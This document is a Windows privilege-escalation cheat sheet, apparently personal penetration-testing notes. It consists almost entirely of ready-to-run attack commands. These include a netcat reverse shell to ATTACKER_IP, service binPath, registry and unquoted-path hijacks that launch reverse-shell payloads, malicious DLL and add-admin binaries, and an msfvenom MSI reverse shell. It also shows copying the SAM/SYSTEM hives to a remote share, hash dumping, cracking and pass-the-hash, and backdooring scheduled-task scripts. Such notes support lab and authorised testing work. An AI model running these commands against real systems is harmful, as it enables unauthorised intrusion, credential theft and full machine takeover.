🪟 Windows Privilege Escalation

Mental checklist

Privilege abuse → credential hunting → service misconfiguration → scheduled tasks → others.

Auto-enum tools: winPEAS.exe (broadest) · PrivescCheck.ps1 · PowerUp.ps1 · SharpUp.exe · Seatbelt.exe.

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
nc.exe -e cmd.exe ATTACKER_IP 4444                 # simple reverse shell back to Kali

---

Windows command reference

General CMD/PS usage, handy during privesc and from a web shell.

CMD ↔ PowerShell map

Task	CMD	PowerShell
Read file	type file.txt	Get-Content file.txt
Rename	ren old new	Rename-Item old -NewName new
Copy	copy src dest	Copy-Item src -Destination dest
List all (incl. hidden)	dir /a	Get-ChildItem -Force
Recurse tree	tree /F	Get-ChildItem -Recurse | Select FullName
List users	net user	Get-LocalUser
Group members	net localgroup X	Get-LocalGroupMember X
Set password	net user U pw	Set-LocalUser U -Password (ConvertTo-SecureString "pw" -AsPlainText -Force)

Run a program

cmd /c prog.exe                 # run, then exit
cmd /k cmd                      # run, keep the window open
START /MIN prog                 # minimized window
START /B prog                   # background, no new console
Start-Process shell.exe -NoNewWindow
Start-Process shell.exe -WindowStyle Hidden
powershell -ep bypass           # bypass execution policy

Services

sc start NAME                   # CMD: start a service
sc stop NAME                    # CMD: stop a service
Start-Service -Name spooler     # PS equivalents
Stop-Service  -Name spooler

Downloads (curl / certutil / iwr / WebClient / IEX) live in file-transfer.

Permissions — icacls

icacls "C:\Program Files\App"                       # view permissions
icacls "C:\Folder" /grant eviluser:(OI)(CI)F /T     # grant full control, recursive

Attributes: R readonly · H hidden · S system · A archive.

Remote desktop

xfreerdp /v:IP /u:user /p:pass /size:100% /dynamic-resolution

Interesting paths

C:\Windows\win.ini
C:\Users\<user>\.ssh\id_rsa
C:\xampp\passwords.txt
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\phpmyadmin\config.inc.php
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\PSReadline   # PS history

---

Enumeration

Users & groups

whoami /priv                          # current privileges (look for Se*Privilege)
whoami /group                         # group memberships
net users                             # local accounts
net user <u>                          # detail on one user
net localgroup                        # local groups
net localgroup <g>                    # members of one group
qwinsta                               # logged-on sessions
Get-LocalUser                         # PS: local accounts
Get-LocalGroupMember "Administrators"

System

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get Caption,HotFixID,InstalledOn                 # installed patches
netstat -ano                                              # connections + PIDs
schtasks /query /fo LIST /v                               # scheduled tasks
driverquery                                               # drivers
sc query windefend                                        # Defender status
Get-ItemProperty "HKLM:\SOFTWARE\...\Uninstall\*" | select displayname   # installed apps
(Get-PSReadlineOption).HistorySavePath                    # PS history location

Credential hunting

findstr /si password *.txt            # search files for "password"

---

Service exploits (Tib3rius-style)

All four follow the same idea: find a service you can influence, point it at your payload, (re)start it. It runs as SYSTEM.

1. Insecure service permissions (change the binary path)

When: your user has SERVICE_CHANGE_CONFIG on a service. Goal: rewrite its binPath.

1. Confirm you can reconfigure the service:

   accesschk.exe /accepteula -uwcqv user daclsvc     # look for SERVICE_CHANGE_CONFIG

2. Inspect the current config:

   sc qc daclsvc

3. Point the binary at your reverse shell:

   sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

4. Start it to trigger the payload:

   net start daclsvc

2. Unquoted service path

When: a SYSTEM service’s path has spaces and no quotes, and you can write to an earlier folder. Goal: drop a binary Windows runs before the intended one.

1. Find unquoted paths outside C:\Windows:

   wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

2. Confirm it runs as SYSTEM:

   sc qc unquotedsvc          # SERVICE_START_NAME: LocalSystem

3. Confirm you can write to a folder earlier in the path:

   accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

4. Drop the payload named after the first path segment, then start:

   copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
   net start unquotedsvc

3. Writable service binary

When: you can overwrite the service’s .exe on disk.

1. Confirm it runs as SYSTEM: sc qc filepermsvc
2. Confirm the binary is writable:

   accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

3. Replace it and restart:

   copy C:\PrivEsc\reverse.exe "...\filepermservice.exe" /Y
   net start filepermsvc

4. Weak registry permission

When: you can write the service’s registry key (e.g. as NT AUTHORITY\INTERACTIVE).

1. Inspect: sc qc regsvc
2. Confirm write access to the key:

   accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

3. Overwrite ImagePath and start:

   reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
   net start regsvc

5. Replaceable binary via PowerUp

1. List modifiable service files: Get-ModifiableServiceFile
2. Build an “add admin” binary (payload calls net user ... /add + net localgroup administrators ... /add):

   x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

3. Replace the binary, then restart the service:

   net stop mysql
   net start mysql

   If it won’t restart: check StartMode/ShutdownPriv; if allowed, reboot with shutdown /r /t 0.

6. DLL hijack

When: a service loads a DLL that is missing from a writable path.

1. Run procmon and watch for a NAME NOT FOUND on a DLL in a writable directory.
2. Build a malicious DLL whose DllMain adds an admin user:

   x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

3. Drop it in that path and restart the service.

---

Registry & credential escalation

AlwaysInstallElevated (MSI as SYSTEM)

When: both registry values below are 0x1.

1. Check the policy:

   reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
   reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

2. Build an MSI reverse shell on Kali:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=53 -f msi -o reverse.msi

3. Start a listener, then run it:

   msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords & saved creds

reg query HKLM /f password /t REG_SZ /s          # search registry for passwords
winexe -U 'admin%password' //10.10.136.78 cmd.exe
cmdkey /list                                     # saved credentials

SAM / SYSTEM extraction

1. Copy the hives off the box (e.g. over SMB):

   copy C:\Windows\Repair\SAM    \\10.10.10.10\kali\
   copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

2. Dump the local hashes:

   python3 creddump7/pwdump.py SYSTEM SAM

3. Crack (hash-cracking) or Pass-the-Hash:

   hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt
   pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa...' //10.10.136.78 cmd.exe

---

Scheduled tasks & startup

schtasks /query /fo LIST /v                                      # list tasks
accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1     # script writable?
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1           # append payload

Writable startup folder:

accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
cscript C:\PrivEsc\CreateShortcut.vbs                            # drop a .lnk to reverse.exe

---

Token impersonation

When: your context holds SeImpersonatePrivilege (service accounts often do).

1. Confirm the privilege: whoami /priv
2. From Meterpreter:

   load incognito
   list_tokens -g
   impersonate_token "BUILTIN\Administrators"
   ps
   migrate <PID>

Tools that abuse this directly: PrintSpoofer, RoguePotato (Win10 / Server 2019).

---

Other leads

• Kernel exploit suggester: python windows-exploit-suggester.py -i sysinfo.txt -d <mssb.xls>
• Insecure GUI app: tasklist /V | findstr mspaint.exe → open file://c:/windows/system32/cmd.exe
• Lateral movement: PsExec (SMB 445) · WinRM (5985/5986) · WMIExec (DCOM/RPC 135+) — see tools
• IIS/ASP app: check allowed upload types; web.config

References: Kernel Exploits pt.1 · InternalAllTheThings — Windows · PrivescCheck · AccessChk.